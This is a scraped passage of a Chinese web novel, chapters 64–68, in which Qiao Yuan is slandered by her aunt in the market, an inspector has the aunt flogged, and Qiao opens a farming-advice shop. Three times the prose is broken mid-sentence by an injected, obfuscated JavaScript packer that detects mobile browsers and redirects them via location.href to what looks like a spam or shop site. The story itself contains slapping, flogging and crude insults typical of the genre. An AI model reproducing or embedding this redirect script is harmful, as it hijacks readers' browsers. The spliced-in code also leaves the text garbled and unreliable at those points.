“乔姑娘。”面前老伯的叫喊声，将乔元的思绪重新拉了回来。 她集中精神道：“老伯请说。” 老伯还未开口，却听得从外头传来一个妇人的喊道：“元姐儿可在？” 乔元眉头一皱，这声音听着有些熟悉。 妇人的叫喊声逐渐靠近，人群被分成两半，衣着褴褛的吴玉梅从外头走了进来。 见是她来，乔元手心捏紧，这段时日在各处忙着奔波，她倒是完全忘记乔天宝的事了。 吴玉梅特地挑着乔长平没在的时候来的，几个月不见，死丫头的面庞倒是圆润不少，一看就是日子过得滋润了。 一想到这里，吴玉梅的心头就跟油煎一样，她花的可都是她家天宝的钱！ 看出乔元眼里的警惕，吴玉梅唇角一扬，走到乔元面前，面庞拧起，假意虚弱地倒在了她的小摊面前。 见她一倒，马上便有热心婶子上前将她扶起，“妹子，你这是怎的了？” 吴玉梅用帕子掩着唇角，咳嗽几声，这才幽幽地同扶她的那几人道：“我无事的。” 空瞥了一眼乔元，见她丝毫不为所动，吴玉梅面向她，低声哭诉道：“元姐儿，元姐儿，伯娘求求你，将拿了我家的银钱还回来罢，天宝还等着治病，他可拖不起了。” 为了今日，吴玉梅特意换了件百八十年没穿的旧衣裳，西市往来的人这么多，她就不信不能逼得乔元就范。 “这……看来姑娘今日有事，我便先不打扰了。”坐在乔元面前的老伯麻利地起身离开。 吴玉梅这一说，聚在小摊前的众人都看向了摊前的乔元。 乔元往凳子后一仰，双手抱胸，“婶子，你怕是找错人了罢，我爹没有兄弟，你可不是我大伯娘。” 吴玉梅都想好接下来该如何说了，没想到乔元直接连人都不认了。 被她这么一噎，吴玉梅愣了半晌才道：“你！我如何不是你大伯娘，你爹叫乔满山，我家夫君叫乔满仓，这可如何能抵赖！” “这世上姓乔的多了去了，难不成都是我亲眷？”这里又不是石湾村，乔元压根不想同吴玉梅多费口舌。 听乔元这么一说，这几日同乔元在一处摆摊的几个农人出来替她说话道：“是啊，妹子，乔姑娘不像是这样的人，你莫不是找错人了罢？” 吴玉梅眼睛转了转，语气又软了几分，擦着眼泪道：“元姐儿你说的这是什么话，你家拿了我家这么多银钱，如今当着众人的面，莫不是不想认账，才假装不识得我罢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14294792|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乔元单手支在下巴上，笑着看吴玉梅表演，“婶子，若真是我家欠了你银钱，你为何不去找我爹娘，反倒要来找我？我可没什么银钱给你。” 乔元这话一出，一旁围观的人深觉有理，欠钱去找家中长辈便是了，何必为难一个姑娘家。 抓住吴玉梅眼里稍纵即逝的无措，乔元从容道：“你莫不是瞧着我手里有几分闲钱，故意来讹我的罢？” 吴玉梅本想趁着人多，逼乔元认下罪责好去她家要钱，没曾想死丫头小小年纪脸皮这么厚，这般场合居然连亲眷都不认了。 吴玉梅心火中烧，“你娘推我儿入水，害我儿染上风寒，病愈后也如三岁孩童，如今你连家中亲眷也不认了，这是什么道理。” 听她提到周素，乔元眸色冷了几分，“婶子，我已经说得够清楚了，我爹没有兄弟，你也别想在此处坏了我娘的名声。你若笃定我家欠了你银钱，不若去县衙告我罢。” 吴玉梅哪里敢去县衙，那日她亲眼看到乔元被属吏护送回家，谁知道她同知县有什么关系。 不对。 吴玉梅面上闪过一丝得意，下一瞬直接扑倒在地面上耍起赖来，“哎呦，哎呦，满仓你来看啊，你打小疼爱的亲侄女如今攀了知县的高枝，连亲伯娘都不认了。还说让我将她告去县衙，知县大人坐堂，谁人能告得赢啊！” 吴玉梅这话说的很是引人遐想，妙龄少女同一县知县，谁知道是不是什么风流韵事。 若是一般姑娘家，听吴玉梅这般言语，定是要涨红脸吓破胆了。 乔元坐在上首没动，她嗤笑一声，“你如何得知我同知县有关系？” 吴玉梅见乔元应了下来，心头暗喜，“婶子前几日看你从县衙出来，知县大人还亲自派人送你归家，婶子是怕你年纪轻，走上了条不归路啊。” 听吴玉梅说起这事儿，西市上有不少人都瞧见了，是县衙属吏到此处请的她。 那时他们便在想这姑娘到底是什么来头，如今吴玉梅这么一解释，西市众人面上有些犹疑地看向乔元，难不成这姑娘当真同知县有一腿。 见乔元说不出话来，吴玉梅面上愈发得意了些，死丫头，还敢跟她斗。 她从地上爬起来拉着乔元的手，哀戚道：“元姐儿，伯娘也不想你为难，你只消将欠我家的那些银钱还了，还有当时公爹给的几箱传家宝，你家霸占了这么些时日，也该还给我们了。” 乔元面色不变，“婶子，听你这话说的，你不仅认定我是你侄女，还说我同知县关系匪浅了？” 吴玉梅道：“这是自然。” “那敢问，我同知县大人到底是何关系？”乔元接着道。 吴玉梅没想到，这般时候了，她的嘴还这么硬，“这……你们二人自然是。” 污蔑知县可是大罪，吴玉梅心口跳了跳，但一想到乔元带人抬回家中的几个大箱，她咬咬牙道：“你小小年纪，便是知县大人的姘头了！” 乔元闻言，放心地笑出声来，她扬声朝后头隐于人群的江稷道：“敢问巡检使大人，当街污蔑朝廷上官，该当何罪？” 巡检使？何处有巡检使？吴玉梅脸色瞬间煞白。 江稷今日身着常服，从人潮中踏出，朝着乔元走来。 路过吴玉梅时，他漠然道：“景朝条律有言，污蔑朝廷上官一经查实，轻则杖刑，重则流放。” 65. 立身（四） 听到‘流放’二字，吴玉梅的身子不可抑制地颤抖了一下。 但她既能做出这样的事来，便不是几句话就能唬住的。“你说你是巡检使，你便是了？瞧你这般模样，莫不也是这丫头床榻上的人罢！” 吴玉梅这话说的露骨，语气里透露的贬低之意昭然若揭。 方才对她起了怜悯之心的围观众人纷纷皱起眉头，当众毁人名节，这妇人当真是这姑娘的伯娘？ 江稷向前走的脚步顿住，他直接转身，当着众人的面掏出了一块串着红绳的腰牌，腰牌只有一半，上头刻有鳞片，形状似鱼。 是景朝官员特有的‘鱼符’。 他单边唇角扬起，笑得有些渗人，“这可能证明了。” 江稷拿出腰牌的瞬间，明眼人已经躬身向他行礼了。“见过巡检使。” 有人带头，此起彼伏地见礼声响起，吴玉梅的脑子发空，耳朵像是被人浸入水里，只听得到一阵一阵沉闷地嘈杂声。 怎会！怎会！ 这丫头怎会认识巡检司的人！ 吴玉梅的牙齿在打颤，她紧咬牙关死死撑着，才不至于让自己就这样倒了下去。 江稷收起腰牌，看了乔元一眼，随后交叠长腿，很是闲适地坐在了方才那老伯坐的位置上。“你既说乔姑娘同知县大人有不可告人的关系，可有证据？” 吴玉梅显然已经有些六神无主，她言道：“大人，我那日亲眼瞧见知县大人派了属吏送她归家，那些属吏还扛着一箱箱东西，这做不得假呀！” “就凭这些？”江稷明明是在笑着，但他的眼神里却没有丝毫温度。 “对对！还有，还有。”吴玉梅绞尽脑汁地回想。 “知县大人亲自送的她出门，二人离别之际知县同她说了好一会儿话，难舍难分的，这些往来的人都看在眼里，我必没有胡说的。” “这些不过是你的臆想，可有明确的证据？”江稷俯身弯腰看向她，“比如，你可瞧见他们二人共处一室了？或是同在榻上了？” 江稷这话问的直白，连乔元都不禁侧目看向他，倒真是敢问。 自古女子，谁人不怕自己的名声被人玷污。吴玉梅方才抓着乔元说这样的话，不过是想撕破她冷静的面皮，好叫这死丫头吐出钱来。 江稷这样不留情面的问询，她连撒谎的底气也没了，吴玉梅哆嗦着唇，“没……没有。” “你既无实证，又无人证，连仅有的猜想也是自己臆造出来的。若再拿不出新证据，那我只能送去你去受杖刑了。”江稷重新直起身子，背靠乔元的推车，单臂搭在一旁。 江稷这般强硬，吴玉梅知道自己已无退路，她索性破罐子破摔道：“你同知县皆为官僚，定也同这丫头熟识，那必定是官官相护蛇鼠一窝的，你又如何能来断案！ 听吴玉梅在这里胡乱攀咬，围观有人忍不住出声劝她，“婶子你可别再说了。” 谁不知道新上任的巡检使刚来金台县就破了好几起大案子，还翻出了不少陈年的冤假错案。他连县衙里头的宋录事都抓得，说他会同知县一齐徇私，这可当真是睁眼说瞎话了。 “哦？”江稷随手捏起乔元推车上的竹笔，迎着光细细打量，不料下一瞬，半根竹笔直接没入吴玉梅面前的石砖地里，“我可不是周进那个废物，你且想清楚了再回话。” 不仅是吴玉梅，连带围观众人皆被吓了一跳。面前这巡检使看着像是世家公子，未曾想做起事来这般暴戾。 吴玉梅更是面色铁青，双手一软，直接跌躺在地。 “如何？可想出新证据了？”江稷依旧面上带笑。 吴玉梅整个人抖地不像话，连句完整地话都说不出来。 场面安静了好一会儿，江稷才道：“你既说不出证据，那便是污蔑了，按律，该对你处以杖刑。” “来人。”他对着人群某一处说道。 这处事情闹得大，负责巡查西市的差役早就来了。不过见江稷坐在中央，这才没有贸然进入。如今听他一唤，几人穿过人群来到他身边躬身道：“巡检使。” 江稷指了指地上的吴玉梅，“二十杖，一杖都不能少。” 属吏闻言，马上安排人直接将她架起拖走，此刻的吴玉梅面容已然呆滞，完全没了同乔元叫嚣时的神采。 她被拖走后，方才她躺着的地面上，残留了一点水印。 金台县多日无雨，这水印是什么在场众人俱是心照不宣。 见人被带走，江稷这才起身道：“乔姑娘为了金台县制出黄板清除蚜害，如今又心存善念，在市集上为人答疑解惑，却不料被人如此污蔑。若我日后再听到这般言语，定当严惩不贷。” 金台县人或许不知道乔元，但所有人一定知晓黄板。 这话一出，马上便有人讨论了。“黄板？这黄板是乔姑娘制的？” “巡检使大人都这么说了定是没错的。” “若不是那黄板，我家田地到现在还满是蚜子，多谢乔姑娘，多谢乔姑娘！” “可我不是听说，来送黄板的是石湾村的汉子。” “送黄板又不是制黄板，这东西既是乔姑娘最先制出来的，由谁送又有何妨。” “乔姑娘大善，请受我等一拜。” “请受我等一拜。” 由江稷亲口说出口乔元的功绩，不仅不会为吴玉梅的流言所扰，还能为她正名。 在场百姓人人都躬着身子，朝着乔元所在的方向，虔诚地，带着最诚挚地谢意，对她行了大礼。 第一次被这么多的人当面言谢，乔元颇有些无措地站起来，“大家这是作甚，我不过做了自己该做的事，当不得你们如此大礼。” 说罢，她就想去将面前的人扶起来。 江稷却倾身拉住她，定定道：“你当得起。” —— 青石巷的小路上，乔元抱着书册走着，江稷则在一旁帮她推着推车，推车上头放了不少新鲜瓜果，甚至还有布匹。 这些都是西市上的人送的。 乔元退了不少回去，但有些百姓实在太过热情，乔元退不回去，便收了下来。 有些分量的推车，在江稷手里轻的像是纸做的，只不过不知为何，方才从集市上回来，江稷便黑着一张脸，也不同她说话。 经过方才西市上的事，乔元那日硬拉着江稷喝酒的尴尬劲缓了不少。她抿唇做了好一会儿心理建设，这才对他道：“今日多谢你了。” 江稷却没给乔元好脸，“你倒是能耐了，今日那妇人说你同周进有染，你自当回避才是，怎能直接应了下来。” “若不是我在。” “自是因为你在。” 二人的话同时出口，江稷停下推车的手，“什么？” 乔元歪头看向他，“若你不在，我必不会用这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304532|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样的方式回击，但今日我见到了你了。” 她无意的一句话，却触动了江稷的心弦。 原来她是因为见着他来，才会这般。 江稷抬手掩住唇角，不知怎的，他觉得周遭忽地安静下来，似乎能听到自己血液在身体里面流动地声音，耳根有些不自觉的发红，整个身体都有些发烫。江稷偏头轻咳几声，想要将这种异样地、从未经历过的情绪排除在外。 “江稷？”乔元有些不解他为何突然站定不动。 深吸一口气，江稷这才回过头来，还是方才的语气，“即便我在，你也不能如此。若我并未及时领会你的意思，今日这事便难以收场了。” 这人怎的如此婆婆妈妈。 乔元想不通他为何要说这些，她眼眸一转，主动换了个话题，“说起来，你今日怎会在西市？” 提到此事，江稷这才收敛神色，正色道：“我听闻你在西市替人解决农事疑难，便趁着休沐，想来找你问询。” “你也有农事上的困扰？”乔元问道，他这人，怎么看都不像是会种地的。 许是乔元打量他的眼神太过疑惑，江稷顺手在她额前敲了一下。 乔元吃痛捂住额头，没好气道：“看在你今日帮了我的份上，你且说罢，遇上什么事了。” 这事在路上不便言说，乔元只好将江稷带回了家。 在厨房做饭的周素听到响动，刚想出来迎接乔元，便见她身后跟着推车的江稷。 周素一时间紧张地连手都不知该往何处放，“巡……江、江大人，您来了。” 乔元自然看得出周素的忐忑，她连忙将周素推了进去，“娘，巡检使找我有些事，您在屋里忙就成，不用出来招待他。” 周素闻言，自是求之不得。 还是院内那张石桌，江稷从怀里掏出一张图纸，摊开放在了乔元面前。 “你可能想到在此地种出粮食的办法？” 乔元拿起图纸开始仔细打量，图纸被分成左右两半，左侧一半画的是该处的地形，右侧则是满满的文字记录。 乔元仔细辨认过后，才发现上头写的是这里种过的作物种类、收成多少、还有浇灌水量等细节。图纸的最后，还有一句话，“此处土色白而硬，盖不可艺植，不若另寻他法。” 乔元猛地抬头，“这是盐碱地？” 江稷知道她定能看得出来，他话里带了自己都没有察觉出来的骄傲，“不错。” 盐碱地是指土壤中盐分和碱性物质含量较高，导致土壤理化性质恶化，影响植物正常生长的土地。 想要在盐碱地种农作物，可不是易事。 乔元的指尖在图纸上轻点，看向他，“这事不易，容我多想几天才能给你答复。” “不急。”江稷道。 今日乔元并未同家人说过江稷要来，江稷自己也知乔家人对他多有敬畏，在石凳上坐了一会儿，他便起身告辞了。 乔元身心都沉浸在如何让盐碱地种出植物上，一时也没想起挽留。 一直到晚间躺到床上，乔元这才觉出不对。 自然条件下，只有在干旱和半干旱地区，蒸发量大于降水量的时候，盐分才容易在土壤表层积累，形成盐碱地。 景朝符合这样情况的地里位置，只有西北边疆。 江稷不过是个小小金台县的巡检使，他为何要关心边关作物？ 66. 立身（五） 乔元翻身下床，拿出被压在书案下的景朝地图。 景朝对于地图的管制并不严格，只要是本国人皆能在书肆买到。 她一开始买地图的时候，不过是出于长久积累的职业本能。 他们学昆虫的一定要了解当的地形，才能知道什么环境适宜什么昆虫生存。 点燃蜡烛打开地图，乔元在烛火下再仔细看了一遍景朝的疆域。 迫于这个时代的技术限制，地图的细节描绘的并不仔细，但国家大致的轮廓，主要河流，山脉，以及重要的行政区都在上面写得很清楚。 从上到下仔细扫了一遍，乔元单手撑着胳膊坐在书案前思考起来。 盐碱地还有其他的形成可能，比如洪水过后，河流和湖泊的沉积物的会含有大量盐分，水流退去，但这些盐分会被留在土壤中，形成盐碱地。 但在严维运的主持下，景朝拓宽河道修葺运河，已经很久没有发生洪灾了。 排除了能想到的所有可能，乔元的目光最终还是凝在西北一处。 西北边境，再往外些便是狄戎部落。 纵然她同江稷在后塘镇几次性命相托，但凭心而论，她对江稷这人了解不深。 他出身江氏旁支，却能同灵州之子成为好友，二人言谈之间更是毫无隔阂。 还有他那超乎常人的武力。 先前没往深处想，如今细看，哪处都透着怪异。 他莫不是在筹谋什么不轨之事？ 乔元眉心越拧越紧，却又不能直接问询江稷，她只好将这事儿先放在心里，想着寻找合适的时机再旁敲侧击一番。 心头想着事儿，乔元难得的没有睡好，第二日起来的时候，周素都被她眼下的乌青给惊着了。 “元姐儿，你这是怎的了？眼下黑了这么一片。” “昨晚外头蛙鸣地厉害，被吵得没睡着。”乔元打哈道。 见是因为这个，周素有些失笑，她亲呢地拉着乔元的手，带她到饭桌前坐好。“你等着，阿娘给你煮几个鸡蛋揉一揉便好了。” 家里如今的条件好了起来，鸡蛋同肉已经是饭桌上的常客。日日吃好喝好，乔元觉得自己的身量都高了不少。 等鸡蛋熟的功夫，乔元也去厨房里绕了一圈，柴火堆下的地道已经挖好了，她还下去看过，里头的空间算不上大，但放几个箱子还是绰绰有余的。 接过剥了壳的鸡蛋，乔元问道：“爹同大哥呢？” 周素将灶火熄了道：“你爹说县南有人家要修葺房子，他闲来无事，便去帮着做事赚点工钱。至于你大哥，应是去铁匠铺子了罢。” “铁匠铺？” 周素想起乔元不知道这事儿，她停下手里的活计道：“家里的铁铲是打石湾村带来经年的老物件了，前几日挖洞的时候给铲歪了，长平便想能不能将废铁熔了重新打一把。” “既坏了，重新买一把便是了，何必这样劳累。”乔元有些不解，“还有爹，这段时日在家休息岂不是好？” 既说到这些，周素索性将话说明白些，“元姐儿，我同你爹商量过了，你赚的那些钱，除去补贴家用开支的，其余都是你的。” 女儿这般有能耐，以后的夫婿必定不是普通人，这些钱做嫁妆给乔元压箱底都不够，周素哪里还会分给两个儿子。 乔元笑得有些无奈，她本以为赚了这些钱，家里人也该好好放心休息了，没曾想家中几人却是比之前还要拼命了。 也罢，左右农药的效果也该显出来了。 待她将路再铺得广一些，家人想必也不会再因为钱的事而忧心了。 —— 午后，乔长平从铁匠铺回来，接过推车，想跟着乔元一齐去西市。 二人刚打开门，县衙的属吏已经候在门口了。 一见兄妹俩出来，属吏躬身道：“昨日之事大人已经知晓，他派我来带姑娘去一处地方。” 兄妹俩对视一眼，乔长平眼里带着询问，乔元摇摇头，表示她并不知周进葫芦里买的什么药， 但人既然来了，也没有赶走的道理，乔元上前一步接话道：“那便劳烦带路。” 路途中，乔长平拿手肘推了推乔元，“他方才说昨日之事，这几日我没陪你去西市，你莫不是遇上事了？” 乔元不欲吴玉梅的事被家人知晓，摇摇头，“并未。” 属吏引着二人到了金台县中街上的一间屋子里，屋子是联建的二层小楼，底下门面已经做空，什么东西都没有。 几人再往后头去，后院很是宽阔，放着不少陶土制的大缸。 紧跟着属吏上了二楼，也是全部做空，什么东西都没留下。 看完整幢屋子，乔元一头雾水地问道：“知县大人这是什么意思？” 属吏回道：“大人说了，姑娘在西市摆摊，风吹日晒不说，难免还会遇上生人打扰。不若搬到这处来，仆役和用具都已备齐，一切只待姑娘吩咐。” 乔元算是明白了，周进这是在向她示好。 难怪他任职多年毫无建树，却依旧能稳稳坐在知县的位置上。敢情这溜须拍马的眼力界儿，可不是什么人都有的。 乔元还没说话，乔长平倒是面带喜色道：“元姐儿，未曾想知县大人竟如此看中你，此处不论通往何方都很是便宜，而且大人将用具都给你备齐了，你便不用日日守在西市那人来人往之处了。” 乔元本也就存了想换地方的心思，不过她还只心里头筹谋，却没想到打瞌睡送枕头，周进已经给她全数办好了。 “劳烦给知县大人带个话，谢过他的心意，我明日便上县衙亲自道谢。”乔元道。 属吏应了下来，躬身同乔元拜别。 看着偌大的一幢屋子，乔元心头不免有些雀跃，她甚至已经开始在脑内规划屋子的用途了。 一楼临街，可作日常问询处，后院空旷，她刚好可以在这里试试药剂。还有二楼，摆上几张桌椅，便可以用来教学。 知识不是个人私有物，自然是教授给越多的人越好。 只要有人对农事或者昆虫上的学识感兴趣，她便能在此处倾囊相授，如此一来，也算是为金台县百姓做出一点贡献。 —— 翌日。 乔元如约到了县衙。 周进一见她来，赶忙起身相迎，“乔姑娘来了。” 乔元对他躬身行礼，“今日前来，是多谢大人置办的房子。” 周进哈哈一笑，摆摆手道：“姑娘客气，昨日之事本就同我相关，我晚间听到风声，已处罚了那妇人一家，这房子便当是我给姑娘的赔礼，如何还能当得了姑娘一声谢。” 听他说起吴玉梅一家，乔元忍不住开口问道：“那妇人已经被巡检使打了二十杖，大人还处罚他们了？” 周进不以为然道：“这些个刁民不过是趁着姑娘出名，想讹姑娘钱财罢了，巡检使既已将人打了，本官不过略 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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日子一天天过去，眼看工事已经到了收尾阶段，乔元有些心痒难耐，踩着夕阳想去再看看有没有什么不妥的地方。 不料她刚到了中街，便被江稷喊住了。“乔元。” 乔元回过头，江稷骑在马上，衣冠虽然整洁，但眼下的乌青比她那一日还重。 乔元有些讶异道：“你怎的如此疲累，这是作甚去了？” 江稷毫不在意地下马走到她身边，“前几日外出抓要犯去了，算起来应是有三日没睡过整觉了。” 便是铁打的身子也架不住这样熬的，乔元忍不住劝道：“既如此，你还是早些回去休息罢。” 江稷顺从点头，又问她，“你来此处所为何事？” 乔元回头指了指远处一间修整得很是整洁的屋子，“知县送了我间屋子当做问询处，今日已收尾了，我过来看看。” 周进那扒皮竟出手这么大方，看着乔元因屋子起的笑靥，江稷面上的笑意顿住，垂在身侧的双手霎时捏紧。 一直到晚间回到巡检司，江稷的面色依旧黑得吓人。 在一旁协助办案的楚津也不知是谁人触到了他的眉头，一时间连大气都不敢喘。 寂静之间，江稷忽地侧身问向他，“楚津，这金台县地段最好的房子在何处？” ？ 楚津手腕一松，手上的毛笔“啪嗒”一下，滚落在桌下。 不过就是买房而已，他黑一晚上脸吓他作甚！ 67. 立身（六） 乔元哼着小曲回到家，一家人已经在饭桌上坐好了。 屋里点着蜡烛，亮堂堂的，各处都飘着饭菜带来的香气。 乔元进屋坐到自己的位置上，左右转头看了看，不知是不是她的错觉，今日家里怎的如此沉默，连往日将学塾见闻说个不停乔永言，此刻都抿嘴不语。 乔元奇了，拿手在他面前晃了晃，“是谁惹我们永言生气了，怎的连话都不说了。” 乔永言定定看着她，忽的瘪嘴抱了上来，“二姐姐，你有没有受伤呀！” 乔元回身抱着他小小的身体，“我没事呀，你这是怎的了？” 小豆丁在她怀里呜咽个不停，乔元只好将求助的目光抛给周素，却见周素眼里也是泪盈盈的。 这到底是怎的了？ 乔满山见她这样反应，兀自叹了口气，“元姐儿，我们都知道了。” “什么？”乔元还没反应过来。 乔长平是个暴脾气，他接过话头，直言道：“我看，明日我便去大伯娘家，同她拼个鱼死网破，竟然敢当街欺负我们元姐儿，我必让她知道咱们家可不是好惹的。” 乔元一听，有些心虚道：“……你们是如何知晓的？” “今日我替人修葺房子的时候，听人说起昨日在西市上发生一件大事，连巡检司的人惊动了。我在一旁细听着，越听越不对劲，抓着那人问了仔细，才知是你被吴玉梅那恶妇给缠上了。”乔满山话语里破有些咬牙切齿的意味。 看来上次给的教训还不够，吴玉梅她怎敢这样欺负他的元姐儿！ 乔元这下算是知道乔永言为何要哭着问她有没有受伤了，在石湾村同吴玉梅打架那次，他也是呆呆地看着她的伤口哭了很久。 乔元一边安抚乔永言，一边道：“无妨的，巡检使已经替我出头了，他还打了她二十杖呢。况且，我今日去县衙的时候，知县大人也罚没了他们银钱。大家不必在意，这件事已经过去了。” 乔元虽说得轻巧，但上次的事，是一家人挥不去的阴影。 家里主事的两个男丁见乔元这样说来，交换了一下眼神，默契地没有再说下去。 有些事，还是得做父兄的来。 这一顿饭乔元吃的有些食不知味，吃完碗里的饭，她便匆匆逃离了饭桌。 乔满山同乔长平看了一眼乔元离去的方向，也没拦着，只垂头凑在桌前嘀咕些什么。 —— 永宁巷。 这条巷子虽为永宁，但里头住的实在不是什么好人家。 破败的屋瓦，陈旧的街道，道路两旁的墙角到处都是泔水留下的痕迹，现下天气渐热起来，巷子里各处都是飞舞的蝇虫，气味刺鼻很难闻。 乔长平是第一次到这处来，没想到金台县还有这样的地方，他跟在乔满山后头，拧眉捂着鼻子问道：“爹，还有多远。” 乔满山指了指前头一间矮房，“那处便是了。” 吴玉梅受罚那日，乔满仓还在别人院里锯木，甫一听到消息，他心下大骇，着急忙地慌地便去了巡检司。 可吴玉梅毕竟是江稷亲点受杖刑的，巡检司又哪里肯这么容易放人，乔满仓在巡检司门口求爷爷告奶奶，塞了不少银钱这才将人带回了家。 谁知屋漏偏逢连夜雨，刚到家不久，县衙里头的属吏又来了，三块银锭就这样给了出去。 家里的积蓄本就不多，如今去了一大笔，吴玉梅的药钱又是不小的开支，乔满仓愁地整宿整宿睡不着。 偏生着这妇人还不消停，自醒过来便在家里辱骂弟弟一家，乔满仓想捂了她的嘴，却又被她抓花了手臂。 无奈之下，他只能将门窗关严实些，任由她去了。 吴玉梅每日醒过来也不做别的，不是骂乔元便是骂乔满仓，“若不是你这般无用，何必我抛头露面去找你那死人弟弟一家要钱。” “还有乔元那个贱皮子小娼妇，以为攀上巡检使便能过上好日子了？谁知道她是不是那些个官老爷的玩物，还偏生装出一派清高的样子来，待我好了便去撕了她的皮，我叫她猖狂。” 今日，吴玉梅又在屋里高声叫骂，乔满仓只能躲得远些，耳不听为静。 忽的，院子里传来好大的声响。 乔满仓还在厨房里头烧火，他拿着柴火急忙走了出来，见到的却是黑着脸的乔满山父子俩。 “满山，你们父子俩怎的来了？”乔满仓有些讶异地问道。 “吴玉梅在哪儿？”乔满山不欲与他废话。 方才吴玉梅在里头骂乔元的话，他们听得真真的。 乔满仓面色一变，“满山，玉梅她如今已经受罚了，这事儿便算揭过了罢。” “揭过？她说我妹妹是知县姘头的时候，怎的不知道揭过？”乔长平丝毫不顾及他是长辈，直接怼了回去。 知道乔满仓就是这样的德行，乔满山直接抬步就往屋里走。 “别，别，莫要冲动啊！”乔满仓急地在后头拦。 院子里那一声巨响，吴玉梅原以为是巡检司又派人来了，吓得缩在被褥里半晌不敢出声。 如今听到是乔满山父子俩，她正好憋着一肚子火，直接骂了出来，“怎的？我骂那死丫头难不成有什么错处吗？她同知县勾勾搭搭，又同巡检使不清不楚，白日里指不定背着你们在同谁欢好呢！” 她不说话乔满山父子俩一时间还找不到人，她这一说，主屋的门也被踹开了。 吴玉梅这样污蔑元姐儿，便是陌生人都有些听不下去，更遑论是至亲。 乔满山冲进屋里，干脆利落地打了她一个巴掌，捏着她的下颌狠厉道：“你还真是不长记性，我上次同你说的你是一个字都没记住。” 乔长平在一旁看得解气，“婶子，你受了伤便好生歇着，免得这一身杖刑从背后烂到嘴，死后连野狗啃了都叫晦气。” 吴玉梅被一下打懵了，乔满山用了十成的力道，她的左脸片刻便肿了起来。 愣了半刻，她才反应过来，尖叫道：“狗娘养的小杂种，凭你也配在我面前叫嚣，你娘那贱人来了，也是只能跪在我面前替我提鞋的份！” 话应刚落，又是一巴掌。 乔满山没有多余的情绪，就这样黑着脸站在她面前，只要吴玉梅一说话，往她脸上便招呼一巴掌。 扇到后头，她的眼神明显畏缩了几分，只敢出声骂乔满仓，“乔满仓你是死人不是，便这样任由他们这般欺负我？当年若不是我拿出我的嫁妆，你能在县城里拜师学木匠？你这身贱骨头早不知道烂死在哪处了。” 乔满仓闻言，懦弱上前道：“满山，算哥求你，别再打了。” 乔满山回头看向面前矮他一头的大哥，恨铁不成钢道：“乔满仓，我敬你是我大哥，吴玉梅这些年做的那些污糟 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吴玉梅此时两颊已经高高肿起，连说话都有些困难，“杂种，你懂什么？你们父子俩今日有能耐便打死我！一家子的蛮徒，娘和女儿都是□□，你们迟早会遭报应的！” 乔满山皱皱眉，利落起手，只不过还没落下，却被乔满仓挡了回来。 ‘噗通’一声，乔满仓跪在了地上。 “满山，求求你别再打了，玉梅她这些年只是受了天宝的刺激，才会变成这样。再打下去，她这张脸怕是要废了。” 他这一跪下，连在床榻上发疯的吴玉梅也冷静了片刻，“乔满仓，你这是作甚，我不用你求他们。” 乔满仓看了她一眼，躬身对乔满山磕了个头，哀求道：“求你。” 见到这场面，乔长平的嘴巴一时间张得老大，面上满是惊愕。 “她是个不长记性的妇人，几次三番来找我家麻烦，你如何能保证没有下次。”乔满山没有应下，只冷冷道。 乔满仓闭眼轻道：“从今日开始，我便将她栓在家里，绝不会让她再外出一步。” 吴玉梅方才还似被乔满仓那一跪触动，听他这样一说，她满脸的不可置信，“乔满仓，你是疯了吗！我是你明媒正娶的娘子！你要把我栓在家里？！” 乔满仓没有理会她，直直看着乔满山，“你应不应。” 两个男人的视线在空气里交锋片刻，乔满山垂下手臂，“没有下次。” “长平，我们走。” —— 父子二人回到家的时候，乔元还刚起来，正同周素在院里说笑。 见到爹同大哥从外头回来，她冲他们挥挥手，“爹，大哥，你们这是去哪儿了？” 乔长平笑着走进点了点她的额头，“怎的现在才起来？” 乔满山也从身后拿出一包糕点，“同你大哥出去办了点事。元姐儿，可要尝尝桂花糕，刚出炉的。” 接过爹手里的桂花糕，乔元咬了一口，清甜不腻，味道极好。 乔满山也递给周素一块，“快尝尝。” 见家里的两个女子吃的香甜，父子俩轻舒一口气，释然地笑了出来。 这世上没有什么是比家人更重要的，外头的风雨，让他们这些高个子来挡便是了。 吃完糕点，乔元在日光下转了个圈，她嘴角还沾着一点桂花糕的碎屑，笑得眼睫弯弯，“对了，明日，我那间问询小铺便能开张了。” 68. 立身（七） 日照一寸一寸升起，最先投射在灰白的城墙上，随后往上一截一截攀升，逐渐落在屋檐，洒在街道。 晨露里带着淡淡的草木香气，打远处传来似有若无的脚步声，脚步声很轻，连巷尾的猫儿都没有惊动。 最后，在一处新装的屋子前停下。 乔元抬头望着面前的二层小屋，最上头的‘农事问讯处’几个字，在日光里折射出耀目的颜色。 深吸一口气，她推开木门。 屋子里头很干净，除却几张桌椅板凳，并没有任何多余的摆设。 灰尘在日光里上下浮动，像是细碎的金粉。 吸吸鼻子，乔元将桌子同凳子搬到门边，迎着日光，翻开了严维运给的书册。 